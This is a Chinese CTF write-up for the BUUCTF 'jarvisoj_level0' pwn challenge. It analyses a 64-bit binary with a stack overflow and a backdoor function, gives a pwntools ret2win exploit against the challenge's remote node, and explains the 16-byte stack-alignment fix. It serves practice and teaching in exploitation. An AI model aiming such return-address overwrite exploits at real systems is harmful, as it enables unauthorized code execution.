BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
unable code3 小时前
流量包取证-大流量分析
网络安全·ctf·misc·1024程序员节·流量包取证
天荒地老笑话么9 小时前
Bridged 下访问宿主机服务:端口策略与防火墙
网络安全
介一安全11 小时前
BurpSuite 插件 FastjsonScan 使用和手动验证
测试工具·网络安全·安全性测试·安全靶场
grrrr_111 小时前
SHCTF 3rd - [WEB]部分writeup
web安全·网络安全·shctf
枷锁—sha1 天前
【CTFshow-pwn系列】03_栈溢出【pwn 048】详解:Ret2Libc 之 Puts 泄露
网络·安全·网络安全
瘾大侠1 天前
WingData
网络·安全·web安全·网络安全
unable code1 天前
浏览器取证-[GKCTF 2021]FireFox Forensics
网络安全·ctf·misc·1024程序员节·浏览器取证
浩浩测试一下1 天前
PE结构 ----> PE结构基础知识点汇总(与安全开发关联)
安全·网络安全·pe·windowspe·pe基础格式
一名优秀的码农1 天前
vulhub系列-10-Misdirection(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
天荒地老笑话么1 天前
Bridged 下“能上网但内网不可达”:路由/防火墙排查
网络·网络安全